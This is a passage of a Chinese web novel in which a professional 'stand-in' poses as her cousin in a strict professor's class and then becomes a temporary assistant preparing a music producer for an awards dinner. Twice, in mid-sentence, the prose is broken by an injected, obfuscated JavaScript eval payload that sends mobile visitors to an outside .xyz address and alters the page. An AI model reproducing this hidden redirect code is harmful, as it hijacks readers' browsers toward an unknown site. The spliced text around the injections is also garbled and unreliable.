颜玉琢发过去的照片,是她刚刚坐在教室里随手拍的。照片中,女孩穿着一件宽松帽衫,百无聊赖地撑着下巴,一头长发编成辫子,发尾自然垂落肩头,最主要的是,她鼻梁上架着一副土气十足的黑框眼镜,看上去违和得不得了。 沛沛很快回了一张照片。 照片是沛沛的手部特写——她比了一个OK的手势。 颜玉琢忍不住笑出声。 这个鬼灵精。 恰在此时,铃声响起。伴着铃声,原本嘈杂的教室逐渐安静下来,同学们迅速回到了自己的座位。 就在铃声停止的下一秒,教室前门被推开,一道高大伟岸的身影信步走上讲台。 教室各处响起一阵阵困惑的议论声:“怎么是他?”“不应该是马教授吗?”“天啊,周阎王可是出了名的要求高、给分低!” 听到那些声音,颜玉琢才后知后觉地从手机里抬起头,把视线投向了讲台。 讲台中央,男人长身鹤立,一席极简风格的卡姆登版型风衣衬托出他挺拔的体态。他唇角轻抿,俊眉压眼,鼻梁上崭新的眼镜为他增添了几分威严与成熟,犹如不可触碰的高岭之花,仿佛靠近就要被他身上的凛然冷意所冻伤。 “抱歉,迟到了一分钟。”男人开口,声音里没有温和亲切,只剩下天堑般的距离感,“马教授昨天在家中摔倒了,他年事已高,需要静养很长一段时间。所以学院要求,这门《生态城市空间设计》由我来代课。” “……”整间教室鸦雀无声。 “我想很多人应该上过我的专业课,不过应该有一小部分同学是第一次见到我,所以我再做一次自我介绍。”男人拿起一枚粉笔,在黑板上写下自己的名字。 粉笔灰轻轻落下。 他的字迹方正、大气。金钩玉划,匀衡遒劲。 “——我叫周珩止。” 高山仰止,景行行止。 说话时,他的视线缓缓扫过台下的近百位学生,在触碰到一个熟悉而讶异的目光时,他停下了。 教室第二排,颜玉琢匆忙收回目光,下意识地低头,掩耳盗铃般用手遮住了脸上的土气眼镜。 颜玉琢做梦也想不到,她居然会遇到眼镜店那位有着一面之缘的周先生——不,更正一下,现在要叫他周教授了! 原来这世界上真的有人戴上眼镜就像变了一个人。 可惜不是她啊。 7. 第7章 课堂提问 第七章 “现在开始点名……安临……陈程……曹耀风……冯广良……” 讲台上,周珩止对照着花名册,逐一念出学生姓名。 每念出一个人名,台下的座位席里就传出一声清脆的“到!” 就在众人以为点名活动将会这么照本宣科进行下去时,意外发生了。 “林晓光。” “到!”“到!” 居然有两道声音同时响起! 原本正提笔画勾的男人指尖一顿,抬起头,看向面前挤挤挨挨的坐席。 “林晓光。” “……” “林晓光。” “……” “难道是我听错了,我刚才点名时,明明听到林晓光同学到了,而且到了不止一个,怎么现在连一个都没有了?” 整个课堂鸦雀无声,同学们互相交换着视线,想笑又不敢笑。用脚都想得出来,一定是那个叫林晓光的男生翘课了,他的两个好兄弟太有义气,同时帮他代点名,结果就这样暴-露了! 人群里,两个坐在不同位置的男生绝望地抓耳挠腮,同时低下脑袋,生怕被台上的周珩止注意到。 “林晓光同学,”周珩止提笔在签名册上画了一个大大的叉,“旷课一次。” “……”没人敢言语。 “还有,从现在开始,每一个点到名字的同学,不仅要答‘到’,而且要站起来。”男人抬手轻推鼻梁上的眼镜,犀利的目光透过镜片落在台下,“我刚接手你们班,也让我熟悉一下班里同学的样貌。” 四面八方同时响起倒吸气的声音,颜玉琢敏锐地注意到,不少同学低下头开始猛敲手机。不知道他们是在群里骂周珩止不近人情,还是在催促那些翘课的同学赶快飞到教室? 可能两者都有吧。 留给颜玉琢胡思乱想的时间并不多,随着一个个名字被点到、一道道身影站起身,终于,男人手里的点名册翻到了最后一页。 “——颜沛沛。” 颜玉琢深吸一口气,双手撑在桌面上站起身:“到。” 她的声音很含糊,头也死死低着,可她能感觉到从讲台那里投射过来一道视线,正盯着她低垂的头顶。 别盯了别盯了,她都要被周珩止盯秃了。 可能过了一秒,也可能过了一辈子,讲台上的男人轻轻“嗯”了一声,说:“坐下吧。” 不知道是不是她的错觉,她居然从这一句话里听到了笑意。 颜玉琢坐下后,坐在他旁边的男同学捅了捅她的肩膀,凑过来小声说:“同学,同学?” 颜玉琢正心烦意乱呢,她脸上没什么表情,问他:“有什么事吗?” 男生被她的冷脸吓了一跳,尴尬道:“我是颜沛沛的同班同学,我看你替她代点名,你是她朋友吗?你是哪个系的啊?” 颜玉琢摇头:“我不是她朋友,我是她亲戚。” 男生眼睛一亮:“我说你们怎么长得有点像呢!那你是她姐姐?” “不。”颜玉琢说,“我是她妈。” 男生嘴巴抖了抖:“你,你开玩笑吧?你是她姐吧?” “你嘴巴真甜。”颜玉琢以手托腮,格外认真地看向对方双眼,忽然灿烂一笑,“阿姨我每年要花十几万去美容院做保养呢,小朋友,你真觉得我像沛沛的姐姐呀?” “……啊,阿、阿姨好。”男生信以为真,慌乱地转回头去,不敢再同颜玉琢多说一句话了。 颜玉琢无声嗤笑,哪想到转回头时,居然被讲台上的人逮到了。 老天鹅,她真不该坐在第二排的。 周珩止卷起手里的点名册敲敲桌子,看似在敲打所有人,其实目光一直落在颜玉琢身上:“在我的课堂上不允许说话,手机全部开静音,要想睡觉就安安静静的睡,不要打扰别人——最后再提醒你们一句,这节课是有平时分的,我不管马教授是怎么答应你们的,但我给分是很严格的。” 嗯,这段话说完,颜玉琢发现大家低头敲手机的频率有了显著提升。 估计在学生群里,周珩止已经被骂翻祖宗十八代了。 …… 这节课叫做《生态城市空间设计》,八个字颜玉琢都认识,可惜连在一起就进入到一个对颜玉琢来说完全陌生的领域。 隔行如隔山,颜玉琢是纯文科生,大学学的是传媒;而这门课和建筑有关,颜玉琢盯着PPT上那些复杂的城市绿化图、热力图、布局图、等高图,耳边充斥着各种复杂的专业英文名词,那感觉真像是听天书一般。 周珩止站在投影仪前,掌心里的激光笔在幕布上标划重点;眼镜后的双眸犀利,偶尔扫过寂静的课堂,不怒自威。 颜玉琢装模作样地记着笔记,其实不过是在本子上胡编乱造,心里祈祷快点下课。 书包里的手机轻轻震动几下,她摸出手机一看,不出意外,是妹妹发来的消息。 @武德充沛猛踹瘸子好腿:姐!!!我听说这节课居然换成玉面阎王代课!!!【震惊】【震惊】 玉面阎王……? 真是好土的外号。 颜玉琢抬头看了眼讲台前寡言吝笑的周珩止,再看看身边像小鸡仔一样可怜巴巴的同学们,又觉得这个外号真准确。 @玉不琢:你消息真灵通。 @武德充沛猛踹瘸子好腿:群里都骂开了!!我不过是一会儿没刷手机,群里就骂了99+! @玉不琢:怎么骂的,给我康康。 @武德充沛猛踹瘸子好腿:……啊? @玉不琢:开个玩笑而已。 @玉不琢:你这门课我实在听不懂,反正也点完名了,我打算课间就溜。 不溜怎么办?她可不想被周珩止记住! 课间铃声一响,颜玉琢就麻利地收拾起书包,幸亏她带的东西少,除了笔本以外,连水壶都没带。和她抱着同样想法的人有不少,比如坐在后排“睡觉区”的同学,大军悄悄撤离,打枪得不要。 就当颜玉琢打算起身开溜时,讲台上的周珩止忽然开口。 “哦,对了。”周珩止的语气平淡至极,好像在谈论天气,“咱们这门课后期要实践,如果初期的理论学不扎实,实践就是空谈。所以下节课我将随机提问。” 颜玉琢:“……” 周珩止点了点那本已经合上的花名册:“我知道第一节课我突然‘袭击’,让很多迟到的同学没能签到。我再给你们一次机会,下节课我点名提问时,如果我点到的同学,是上节课没在、但是下节课在的,那我就把平时分加回去;如果我点到的同学,上节课没在,下节课依旧没在,那平时分直接归零。” 过了不知多久,不知从哪里传来一道弱弱的声音:“那……周教授,如果是上节课在、但是下节课没在,那平时分还扣吗。” 此话一出,立刻响起更多窸窸窣窣的碎语:“你傻啊,这种事你不能问啊!”“你干嘛提醒他啊?”“兄弟,你这是巴不得给他送把柄啊!” 讲台上的周珩止可能听见了那些议论,但他根本不在意。 他对着台下同学挑了挑眉,语气里带着一抹淡淡的嘲讽:“上节课来了,下节课溜了——同学,那你觉得我会不会扣分呢?” 颜玉琢:“……” 她觉得,她走不了了。 她不仅走不了,还要祈祷周珩止千、万、不、要点到“颜沛沛”! …… 几个小时之前,颜玉琢以为自己和十一个呱噪的家长挤在保安室里看监控,就是她今天最糟糕的委托了;现在她坐在课堂里,听着天书、记着笔记,才发现自己是上了贼船。 听也听不懂,学又学不会,这真是一场酣畅淋漓的文化苦旅啊。 在周阎王的震慑下,原本悄悄溜走的同学们又填满了教室里的每一个角落,肉眼可见的,第二节课的人数比第一节课还多。 平心而论,周珩止的讲课水平不错,PPT也做得漂亮,每次讲到重点时,都会留足时间让同学记录;他也不像某些老师那样吝啬,不允许同学拍照录音。 如果,他不搞突然袭击、毫无征兆地翻开花名册,随机点一位幸运儿(倒霉蛋)回答问题就好了。 “‘海绵城市’是当下生态城市设计里最炙手可热的一个话题,它的概念扎根于‘Low-Impact Development’。那么……就这位冯广良同学吧,请你以咱们学校中心花园为例,至少说出四个构建的LID系统。 “嗯,冯同学请坐吧。刚才冯同学在回答时提到了地表径流扩散问题,那么任斐同学,你来告诉大家如何抑制地表径流扩散?至少给出三个解决办法。 “……只回答出来一个。没错,最简单的截水方法就是地表绿化,既然提到了地表绿化,这应该是环艺同学的专业强项。那么他没回答出来的另外两种解决办法,就请一位环艺同学来回答吧。” 讲台下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029702|162285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所有环艺专业的同学都汗毛倒竖,那感觉仿佛一群小老鼠被一只猫大王宣布了死期。所有人恨不得把脑袋扎进书包里,生怕被冷酷无情的周阎王盯上。 坐在第二排的颜玉琢压力倍增,她有一种预感——不,已经不止是预感了,她百分之百肯定,周珩止绝对会点她回答问题! 可她根本不懂建筑学、也不懂环艺,她连LID是什么都不知道,更别提另外两种截水方法! 颜玉琢读书时是实打实的学霸,年年拿国奖,但隔行如隔山,她对这门课确实一窍不通。她没有认命,隔空给堂妹发去求助消息。 @玉不琢:沛沛你在吗?你快告诉我,LID系统里有哪几种截水方法? @玉不琢:速回! 手机屏幕差点被她敲出火星子,与此同时,讲台上的周珩止又翻过一页点名册,按照拼音排序直接从后往前寻找。 “那么,就请颜……” 台下,颜玉琢紧紧攥着手机,因为额头出了太多汗,鼻梁上的眼镜止不住地往下滑。 沛沛的回复还没有收到,颜玉琢知道接下来只能靠自己了。 死脑袋快想啊,想想生活中见到过的那些公园绿化?让雨水不直接流走的办法都有什么? 是死是活就看这道题了。颜玉琢深吸一口气,双手撑住桌子,一鼓作气准备起身—— “——那么,就请严烽同学回答。” 颜玉琢:“……” “环艺专业的严峰同学,你坐在哪里?上节课迟到,不会这节课又旷课了吧?这样的话,平时分直接归零。” 颜玉琢:“…………” “原来严烽同学坐在最后一排,你坐那么远,能听清楚我的问题吗?你来回答,在LID系统中另外两种截水方法是什么?” 颜玉琢:“………………” 呵呵,原来是自己~吓~自己。 颜玉琢放下手机,抬起头,镜片后的双眼幽幽投向讲台上的男人。周珩止对她的目光浑然不觉,一脸肃穆地望着教室最后一排的可怜男学生,真是好一位严师啊。 等到那位可怜的男生结结巴巴回答完问题,下课铃声刚好响起,周珩止没有拖堂,简单交代了两句就宣布下课。 同学们早就无法忍受和这位阎王呼吸同一片空气,转瞬间就跑了个干净。 颜玉琢当然不甘人后,动作迅速地收拾书包,放在桌斗里的手机嗡鸣一声,颜沛沛的微信跳了出来。 @武德充沛猛踹瘸子好腿:啊啊啊姐,我刚才没看手机,在和舍友吃饭。 @武德充沛猛踹瘸子好腿:你还需要答案吗【可怜】【可怜】 @玉不琢:……等你来救我,我尸体都凉了。 @玉不琢:不用答案了,已经下课了。 @武德充沛猛踹瘸子好腿:谢谢姐姐!!【磕头.gif】辛苦姐姐替我签到,我一定给你一个五星好评! @玉不琢:仅此一次,下次不准为了追星翘课了。 @玉不琢:还有,以后这种比苍蝇腿还小的活儿不要叫我,你太穷了,我接你一单连车子油费都赚不回来。 她和妹妹还未聊完,余光间,一道人影停在她身前。 颜玉琢原本以为是同桌去而复返,哪想到当她抬起头后,出现在她眼前的居然是走下讲台的周珩止。 “……”颜玉琢生怕露馅,立刻把手机锁屏,“周教授好。” 周珩止的目光在她鼻梁上那副丑绝人寰的眼镜上停滞了一秒,然后微微颔首:“没想到这么巧,你居然是我的学生。” 他又说:“所以你特地选了这幅眼镜,是为了上课不被我点名?” 颜玉琢不吭声,这时候多说多错,她的伶牙俐齿全无效用。 “怎么不说话?”男人好像又恢复了初遇时的温和与绅士,与刚才在讲台上那个冷若冰霜的教授判若两人。他唇角轻勾,笑起来时,镜片后的双眼如春风化雨,“见到老师就这么惊讶吗,颜同学?” 颜·同学·玉琢:“……周教授,我有一个问题。” “你说。” “如果下堂课我不在的话,那我的平时分——” 周珩止听到这里,有些意外地抬了抬眉毛。颜玉琢给他选的这幅眼镜实在衬他,他不过稍稍变了表情,就让他威严尽显。 “颜沛沛,虽然我很感谢你帮我选了这幅眼镜,但课堂纪律是不能变的——如果下堂课我见不到你,你就挂科吧。” 8. 第8章 音乐制作人 第八章 颜玉琢真是没有想到,她不过代替妹妹上了一节选修课,就“成功的”引起了教授的注意,周珩止不仅记住了她的脸,还要求她未来每一节课都不能缺席! 一想到这件事后续会带来多少麻烦,颜玉琢的太阳穴嗡嗡直跳,耳边几乎能听到妹妹那咋咋呼呼的声音。 算了,现在沛沛应该正忙着和她的追星同担们聊天,作为一个善解人意的姐姐,她可不能在妹妹看演唱会前影响她的好心情。 等沛沛今天看完演唱会,颜玉琢再告诉她这个“噩耗”吧。 颜玉琢行色匆匆,向着校外走去,她今晚还有一单工作,早点做完早点收工。她刚坐进她的爱车,手机里忽然传来app的提示音。 她拿起手机一看,屏幕上跳出两条系统消息。 【雇主@今天不想上学鸭完成了评价】 【雇主@xxx 取消了今晚19:00的预约,已扣除40%违约金】 第二条系统消息没什么好说的,今晚的单主不知道出于什么原因取消预约,颜玉琢一整个晚上的时间完全空了出来,还白拿了40%。 至于第一条系统信息…… 颜玉琢的指尖迟疑了一下,还是点了进去。 【雇主@今天不想上学鸭完成了评价 评价内容:谢谢漂亮阿姨,赵威廉向我道歉了!!耶!!校长说会让他在下周一的升旗仪式上当着全校同学的面读检查~ 追加评价:下次不要骗小朋友零花钱了。】 颜玉琢:“……” 用头发丝儿都能想出来,第一条评价是冯子宸小朋友自己写的,而第二条追加评价,百分之百是他那个公孔雀舅舅写的。 这股从字里行间溢出来的死装劲儿,真是谁都学不来呢。 颜玉琢工作这么久,什么样的雇主都见过,反正钱已经拿到手,她也没必要再多看他一眼。 她随手给了小野猪一个默认好评,然后就退出了系统后台。 她浑然不知,在城北某栋别墅的晚餐桌边,一对舅甥正在低智拌嘴。 “臭小子,我再警告你一次,交出手机。你现在主动上交,以后每天可以玩十分钟,周末可以玩一个小时;要是让我没收的话,以后每月只能玩一次!” “舅舅求求你了,再让我用五分钟吧,我要等等漂亮阿姨的回复!” “……还要多久?” “啊,她回复了!呜呜呜呜,可她只回复了四个字。” “……她回复了什么?” “【默认好评】。” 男人手里的筷子一顿,过了好一会儿才漫不经心地问:“只有【默认好评】?” 男孩不甘不愿地把手机交到舅舅手里,嘀咕道:“一定是你写的那个追加评价,让漂亮阿姨生气了。” “我管她生气不生气。”男人冷哼一声,语气傲慢,“工作已经结束,以后你都不会再见到她了。” …… 颜玉琢正打算开车回家,手机又一次响了起来,只不过这次响起的是电话铃声。 屏幕上,【陈师姐】三个字不停跃动。 颜玉琢接起电话,打趣地问:“陈总,有什么吩咐?” 听筒里,传来女人略带焦急的声音:“颜师妹,我看系统显示你刚刚完成了A大的单子,晚上的派单也取消了。那你现在是不是还在A大附近?” “是啊。”颜玉琢和她格外有默契,闻弦知意,“这附近有急单?” “对。”陈师姐言简意赅,“我已经把新工作推送到你的app后台了,你尽快赶到,具体信息我在路上告诉你。” “得令!”颜玉琢调准车头,向着手机上提示的地址驶去。 电话里的陈师姐——也是颜玉琢口中的“陈总”——就是他们公司的老板,陈凤起。 传媒大学人才辈出,陈凤起毕业后就踏入影视行业,从副导演开始做起,打拼几年积攒了不少资源;后来她急流勇退,一手创办了“千面人生app”,曾经她手底下的群演、龙套就成了公司里的第一批员工。 虽然陈凤起离开了娱乐圈,但以前的人脉并没有断,这次这个急活儿就来自她的一位老友。 这位老友是专业的音乐经纪人,和不少独立音乐家有深度合作。 今晚有一场业内晚宴,据说“华曲奖”的几位评审嘉宾都会到场;这位经纪人手下有一位才华横溢的音乐制作人,今年被提名了数个奖项,所以这场晚宴必须参加。 电话里,陈凤起语速飞快:“经纪人出差在外,本来预订今天中午的航班回A市,可是遇到航班延误,刚刚才落地。起飞前,他和那位音乐制作人约定好,他们直接在晚宴会场见面,可他落地后却发现对方失联了,电话怎么也打不通。” 现在是晚高峰时间,到处都堵得水泄不通,经纪人实在来不及从机场杀到城里,在这个关键时刻,他想起了陈凤起。 “我懂了,”颜玉琢笑起来,“所以这次的委托,我的身份就是那位音乐制作人的助理?” “没错。”陈凤起实在喜欢和这种聪明人说话,“一个半小时之内,你负责把这位音乐制作人打扮得光鲜亮丽的送到晚宴会场,每提前五分钟,报酬提高10%。” 听起来毫无挑战。 颜玉琢踩下油门,一路上风驰电掣,十分钟后她就抵达了任务所在地。 这是一栋安保严格的高级公寓,位于城市的核心商业区;颜玉琢随着观景电梯一路攀升,整座城市几乎匍匐在这座钢铁巨人的脚下,高楼下的车水马龙人来人往,都渺小如蝼蚁。 “叮”的一声轻响,电梯轿厢的大门向两侧安静滑开,颜玉琢踏入寂静的走廊。 她很快找到雇主所在的那间公寓,虽然经纪人提前告知了大门的密码,但颜玉琢还是先礼貌性地按响了门铃。 本以为会无人回应,没想到半分钟后,大门居然从内侧被推开了。 颜玉琢忙说:“是陆先生吧?你好,我是——” 一句话尚未说完,剩下的词句都吞回了嘴里。 因为出现在门后的并非是这间屋子的主人,而是一条黑白色的边牧犬,那只边牧犬一身长毛梳得油光水滑,脖子上还套了一个黑色bowtie,看上去成熟又优雅。 狗歪了歪头:“汪?” 颜玉琢:“……我来找陆先生,请问他在吗?” 狗:“汪。” 颜玉琢:“我是他经纪人叫来的临时助理,我能进去吗?” 狗:“汪。” 颜玉琢:“难道……你就是陆先生?你变成狗了,所以你才不能接电话?” 狗:“汪。” 就在颜玉琢思考在没有狗绳的情况下,她要如何赤手空拳把变成狗的陆先生押解到晚宴会场之时,从客厅里忽然传来了一阵窸窸窣窣的响动。 狗和她几乎同时看向客厅,狗侧耳听了听,然后立刻摇起尾巴跑进屋内。颜玉琢不敢耽搁,立刻紧随其后追了进去。 绕过玄关,出现在她眼前的是空旷的客厅。 说是客厅,可这里并没有一般客厅常见的组合柜和壁挂电视,只有一整面墙的收纳架,上面陈列着陆地滑板、公路赛车以及相关配件,看来这间屋子的主人喜欢冒险,追求“速度与激情”。 客厅正中央是一张造型别致的茶几,整张茶几由木头打磨而成,呈现出吉他的形状,而本该是琴弦的位置又改成了黑白按键,很契合屋子主人的工作。 现在,这张茶几被各种杂物淹没,半张桌子堆满了涂写的手稿,另外半张桌子则被各种外卖盒子堆满。 茶几后是一张宽阔舒适的沙发,一道人影正倒在沙发上睡得昏天黑地,没电的手机扔在一旁,边牧犬嘴里叼着毛毯,正努力为他盖上。 颜玉琢之前就听说边牧犬智商惊人,没想到他居然会反过来照顾主人。 不过,现在可不是感叹小狗聪明的时候。她几步走到沙发旁,俯身看向沙发上的青年。 他看起来不到二十五岁的年纪,眼下带着青黑,一头利落的短发垂在额头侧畔,不加遮挡地露出清爽干净的五官。即使在睡梦中,青年的眉头也轻轻皱着,看样子睡得并不安稳。 如果颜玉琢不是在来的路上提前查过他的资料,根本不会想到这个不修边幅的青年就是音乐家版权协会最年轻的“年冠王”。他作词、作曲、编曲样样精通,手握数十首热门单曲,由他谱写的电影电视剧插曲传唱度极高,很多top级别的歌手排队等他作曲。 就是这么一个才华横溢、天资卓绝、落笔成章的家伙,现在居然在沙发上睡得毫无形象,还要一只狗来照顾他。 颜玉琢拍拍他:“陆先生,陆先生,醒醒?陆之熠?” 青年睡得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029703|162285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极香,嘴里嘀咕着:“大麦……别舔我了……我会交稿的……” 颜玉琢转身走向浴室,用冷水打湿一块毛巾,重新走回到沙发旁——下一秒,冰凉的湿毛巾精准地落在青年脸上,冻得他瞬间清醒,一秒钟从沙发上弹跳而起。 “啊!”青年惊慌地喊,“我终于工作到猝死了吗?” “很可惜不是,”颜玉琢强忍住笑意,故作冷脸警告他,“陆先生,如果你十分钟之内不洗完澡吹干头发的话,那你的经纪人就会杀上门来。我想,死在他手里,还不如死于工作呢。” “什么?可是……” 颜玉琢看向手机上的计时器:“你现在还有九分五十五秒……五十四……五十三……” 这些倒数计时,简直比地狱使者还要催命。 青年明显还没睡醒,就这样懵懵懂懂地被颜玉琢推进了浴室里。 颜玉琢没耽误这宝贵的十分钟,争分夺秒,抓紧时间收拾客厅残局—— 拉开客厅窗帘,让久违的阳光照进客厅;桌上的外卖盒通通扔进垃圾袋;宝贵的曲谱她看不懂便没有乱碰,一张一张叠好放在茶几上;当然,她没忘记去看狗粮和狗水盆,惊讶发现居然有提前设定好的机器程式,边牧仅用一只爪子就能操纵换水换粮。 颜玉琢蹲在狗窝旁,摸摸狗头:“这么看来,你比你的主人自理能力强多了。” 狗:“汪!” 如果这只狗突然会直立行走去厨房做个三菜一汤,颜玉琢都不会惊讶了。 她又起身四处查看,这套公寓是三室一厅,一间最大的屋子改造成工作室,四周贴着隔音材料,屋里摆放着各种乐器;一间最小的屋子是卧室,朴素简单;最后一间屋子是衣帽间,颜玉琢步入其中,仔细挑选。 她可没忘记,陈师姐说她的任务是把陆之熠“光鲜亮丽”地送过去参加晚宴。 这次晚宴是“华曲奖”的前哨站,一首歌能否得奖,除了歌曲本身质量过硬以外,经纪人是否长袖善舞、艺人能否讨得评委欢心,也是需要放在天平上考量的。 如果艺人穿得随随便便出席,显得太不尊重评委;穿得过于浮夸,又会让同桌人看笑话。 陆之熠的衣帽间不算小,衣服品位符合他的年纪,大多是休闲装和运动装。只有一组衣柜里挂着七八套西装,抽屉里还有一排摇表器,里面陈列着几块价格不菲的名表。 这些表随便一块就远超颜玉琢一年的收入,果然顶尖音乐制作人的版税收入不容小窥。不过,再名贵的表在颜玉琢眼里都只是用来看时间的工具,贵则贵矣,不足心动。 颜玉琢斟酌一番,为陆之熠挑选了一块罗杰杜彼的竞速系列飞返计时码表,表盘采用了大胆桀骜的镂空设计,像极了飞速旋转的赛车车轮,是极限运动爱好者最钟情的一款,足够年轻、亦足够张扬。 正当颜玉琢准备把这块腕表从摇表器里取出来的时候,衣帽间门外忽然响起一道清爽的男声。 “姐姐,我最近刚签了一家男士饰品的代言,今天的活动就不戴手表了,要带饰品。”青年探进大半个身体,提醒她,“品牌方送来的饰品都在你身后的另一个柜子里。” 颜玉琢手指一顿,转身看去。 刚洗完澡的青年身上还带着腾腾热气,一边说话,一边用手里的毛巾胡乱擦着头发。随着他的动作,他的睡袍领口大开,水珠顺着发稍滑落睡袍之中,又蔓延而下,可以隐约窥见紧实的腹肌。 他年轻,光鲜,干净,眼角眉梢都带着热情爽朗的笑意。 “说起来,姐姐你到底是谁啊?”青年终于想起来询问,“我刚才睡得迷迷糊糊,没听到你的自我介绍。” “现在问我是谁,是不是有点晚了?”颜玉琢的指尖点了点面前的一排摇表器,“你就不怕我是偷表的?” “可这些表都是带着编号的,你就算偷了也没办法转手卖啊。”陆之熠耸耸肩,他并没有他外表看上去那么单线条。 “再说,”他忽然伸手拍拍身边寸步不离的边牧犬,“我家大麦很聪明,特别通人性,如果你是坏人,它绝对不可能给你开门的。对不对,大麦?” 狗:“汪!” 陆之熠笑得眉飞色舞:“它说‘对’!我说了吧,它真的很通人性!” “大麦确实挺通人性的。”颜玉琢点点头,深表同意,“陆先生,我看你也挺通狗性的。” 9. 第9章 抱紧我 第九章 陆之熠乖乖吹干头发、乖乖换上颜玉琢为他挑选的西服、又乖乖被她按到化妆镜前做造型。 他长相清爽阳光,只是因为最近熬夜写歌,忙得眼睛下面多了一抹浓重的黑眼圈。颜玉琢身为临时助理,需要帮他简单化个妆,让他不至于一脸潦草地出现在晚宴上。 “能不画粉底吗?”青年愁眉苦脸同她商量,“我不喜欢脸上糊了一层东西的感觉。” “这不是粉底,这是遮瑕霜,你的黑眼圈太重了,必须遮一遮。”颜玉琢一边说着,一边把两种不同颜色的遮瑕霜挤在手背上,再用指尖混合均匀。 颜玉琢在他面前站定,俯身观察了几秒,她如此突然拉近同他的距离,惹得青年下意识屏住呼吸。她伸出手,沾了粉霜的指尖轻触他的眼下皮肤,微凉的指尖与青年燥热的皮肤碰撞,陆之熠没忍住躲闪了一下。 “闭眼,别动。”颜玉琢开口。 “哦……”陆之熠阖拢眼帘。他明明那么大的个子,化妆时却像个小朋友一样,双腿并拢,两只手搭在膝盖上,让闭眼就闭眼,让不动就不动。 颜玉琢没养过狗,若是小狗也能如此听话的话,养一只解闷也不错。 陆之熠底子很好,他才二十四岁,比颜玉琢还要小两岁。这个年纪完全不需要过多修饰,青春就是最好的化妆品。颜玉琢只需要帮他遮瑕,简单修一下眉毛,最后再用发胶抓了抓头发——嗒哒,一枚光鲜闪亮的音乐制作人就这样出炉了。 颜玉琢看向手机,从她接到任务再到把陆之熠收拾得初具人形,将将过去四十分钟而已。 举办晚宴的餐厅距离这里不到十公里,不堵车的话半小时肯定能到。 经纪人给了她总共一个半小时的时间,看来她不仅能超额完成任务,还能拿到更多奖金。 “既然都收拾好了,那咱们就出发吧。”颜玉琢晃了晃手里的车钥匙,“陆先生,我送你去餐厅。” “我实在不习惯别人叫我先生,听着有点别扭。”青年摸了摸耳朵。 颜玉琢:“那叫你什么?你毕竟是我的雇主,直呼名字不大好。” “我身边朋友都叫我Zayn,”陆之熠语气轻快,充满期待,“姐姐,你也可以这么叫我。” 颜玉琢回想起她在网上查到的信息——陆之熠出身音乐世家,父母皆是乐团首席,五岁时他就随父母移居国外,长大后考入美国知名音乐学院,天赋被最大化激发,从此崭露头角、一飞冲天。刚开始他就是以Zayn这个名字在网上发歌,回国发展后才换回更正式的中文名。 “那好,我就叫你Zayn了。”颜玉琢立刻改口。 身为临时助理,雇主让她怎么称呼都可以,就算陆之熠自称叫超级无敌飞天霹雳奥特曼,颜玉琢也能眼睛不眨地尊称他为超级无敌飞天霹雳奥特曼。 “抓紧时间,晚宴可不能迟到。” 边牧犬在狗窝里摇了摇尾巴,目视着他们匆匆离开的背影,如果它能说话的话,一定会说:主人,你今天看起来好帅,好像个人啊。 …… 颜玉琢的爱车就停在楼下,当陆之熠看到这辆被改造成“移动换装间”的两箱小越野车时,赞叹之情溢于言表。 “不要乱碰车里的东西。”颜玉琢的副驾驶座上原本放着一顶假发人头,陆之熠坐进来后,东西实在没地方放,她只能把假发人头塞到他怀里,提醒他,“替我抱着,别把假发弄乱了。” 陆之熠与怀里的假发人头面面相觑,那是一顶齐肩的栗色短发,与颜玉琢的及腰波浪长发截然不同。 他小心翼翼地问:“姐姐,你究竟是做什么的啊,为什么你车里装饰得像特工老巢,不会我打开副驾驶座的抽屉,里面放着违禁品吧?” “你们这种艺术家,想象力一直这么强吗?”颜玉琢被他逗笑了。她踩下油门,开车上路,“至少现在,我是你的专属助理,我的任务就是把你准时送到晚宴餐厅。” “那除了现在呢,你是不是还有其他工作?”陆之熠猜测,“你也是圈内人吗?难道你是演员,所以才需要随时更换形象?” “接近了。”颜玉琢也没和他卖关子,大方承认,“我的工作叫做‘全能替演师’,只要雇主出得起钱,我可以扮演任何角色,替他们解决烦恼。” 陆之熠有些茫然,他的中文水平一般般,虽然可以正常沟通,但说起复杂名词时脑袋里的英文和中文就开始打架了。 颜玉琢干脆举例说明她的工作内容,当她说到今天上午她扮演家长替熊孩子开家长会、下午扮演学生去大学课堂代点名、晚上又赶来当艺人助理……后,陆之熠毫不掩饰脸上的震惊。 “这份工作听起来真辛苦。” “这世上的工作各有各的辛苦,你熬夜作曲也很辛苦啊。”颜玉琢的手搭在方向盘上,掌心一拨,车身便灵活拐入右转车道。她一心二用,随口应答,“再说,并不是每天派单都这么多。” 陆之熠的好奇心完全被吊了起来,继续追问:“那姐姐你为什么做这份工作呢?……啊,抱歉,我不是想打听你的隐私,”他生怕被颜玉琢误会,匆忙解释,“如果你不方便回答,就当我没说。” 恰逢红绿灯,颜玉琢把车停下,侧头看向身畔的青年。 她扮演过许许多多的角色,填补过许许多多的人生,但极少有雇主会询问她“为什么选择这份工作”。他们对她从不好奇,只希望她能像一块乐高积木,巧妙地填入生活的空白里。 她盈盈一笑,回答:“因为我……很喜欢钱吧。” “什么?” “这份工作赚得多,麻烦事少,不用处理复杂的同事关系,老板也不要求我扛业绩,想休假关上app就可以停止接单……我实在找不到比这份工作更适合我的了。” 这样不浪漫的大实话,让陆之熠格外失望:“就因为这份工作赚得多?” 